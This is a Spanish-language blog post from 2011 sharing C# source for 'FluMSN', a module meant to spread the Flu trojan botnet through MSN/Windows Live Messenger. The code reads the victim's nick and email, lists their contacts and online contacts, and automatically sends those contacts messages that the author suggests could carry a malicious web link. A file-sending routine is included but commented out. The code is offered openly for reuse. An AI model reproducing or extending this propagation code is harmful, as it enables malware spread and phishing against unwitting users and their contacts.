Mostrando entradas con la etiqueta troyano. Mostrar todas las entradas
Mostrando entradas con la etiqueta troyano. Mostrar todas las entradas

domingo, 23 de enero de 2011

FluMSN

En el anterior post comentaba como hacer una rápida y simple broma en C#. Dicho código lo compartí en el foro de Flu Project. Para explicar que es, un extracto de su web:
El proyecto consiste en el desarrollo de una aplicación para el control remoto de máquinas Windows a través del troyano Flu, orientado a la generación de botnets a través de la tecnología HaaS (Hacking as a Service).
Pensando en su propagación pensé que una vía puede ser a través de mensajería instantánea y al tratarse de un troyano enfocado principalmente en Windows, que mejor que Msn Messenger. Pues, ¡manos a la obra!

Mis propósitos eran:
  • Obtener e-mail y nick del usuario. [Conseguido]
  • Listado de todos sus contactos. [Conseguido]
  • Listado de contactos conectados para actuar con ellos de la siguiente manera: [Conseguido]
  • Enviar mensajes (¿Web maliciosa?). [Conseguido]
  • Enviar ficheros. [Por Conseguir]
He estado haciendo pruebas a través de la API de Messenger y el nuevo Windows Live Messenger 2011, concretamente con la compilación 15.4.3502.922.

El método SendFile no me funcionaba y no sé si porque no es compatible con esta versión del messenger. Si alguien pude probarla en versiones anteriores y comentarme resultados sería de agradecer. ;-)

Para el uso de la API se ha de agregar la referencia MessengerAPI desde COM.

Ni que decir tiene, que funciona siempre y cuando estemos conectados.

La publicación en el foro de Flu Project la podéis ver en este enlace.

Aquí tenéis el código.

using System;
using System.Collections.Generic;
using System.Linq;
using System.Text;
using System.Windows.Forms;

namespace Messenger_Robe_
{
class FluMSN
{
MessengerAPI.Messenger MSN = new MessengerAPI.Messenger();
private string errorGral = "Se produjo un error. Es posible que el usuario no esté conectado";
private List contactos=new List();

public string NombreUsuario()
{
try
{
return MSN.MyFriendlyName;
}
catch
{
return errorGral;
}
}
public string EmailUsuario()
{
try
{
return MSN.MySigninName;

}
catch
{
return errorGral;
}
}
public string EstadoUsuario()
{
try
{
return MSN.MyStatus.ToString();
}
catch
{
return errorGral;
}
}

public List ObtenerTodosContactos()
{

MessengerAPI.IMessengerContacts contacts = (MessengerAPI.IMessengerContacts)MSN.MyContacts;

try
{
foreach (MessengerAPI.IMessengerContact contact in contacts)
{
contactos.Add(contact.SigninName);
}
return contactos;

}
catch
{
contactos.Add(errorGral);
return contactos;
}
}

public List ObtenerContactosConectados()
{

MessengerAPI.IMessengerContacts contacts = (MessengerAPI.IMessengerContacts)MSN.MyContacts;

try
{
foreach (MessengerAPI.IMessengerContact contact in contacts)
{
if (contact.Status != MessengerAPI.MISTATUS.MISTATUS_OFFLINE)
{
contactos.Add(contact.SigninName);
}
}
return contactos;

}
catch
{
contactos.Add(errorGral);
return contactos;
}
}

public void EnviarMensaje(List contactos, string mensaje)
{
try
{
foreach (string usuario in contactos)
{
if (MSN.MyStatus.ToString() == "MISTATUS_INVISIBLE")
{
MSN.InstantMessage(usuario);
SendKeys.Send("{ENTER}");
SendKeys.Send("{ENTER}");
SendKeys.Send(mensaje + "{ENTER}");
SendKeys.Send("{ESCAPE}");
}
else
{
MSN.InstantMessage(usuario);
SendKeys.Send(mensaje + "{ENTER}");
SendKeys.Send("{ESCAPE}");
}
}
}
catch
{
}
}

//public void EnviarArchivo(List contactos, string archivo)
//{

// try
// {
// foreach (string usuario in contactos)
// {
// MSN.SendFile(usuario, archivo);
// }
// }
// catch (Exception e)
// {
// MessageBox.Show(e.ToString(),"Error");
// }
//}
}
}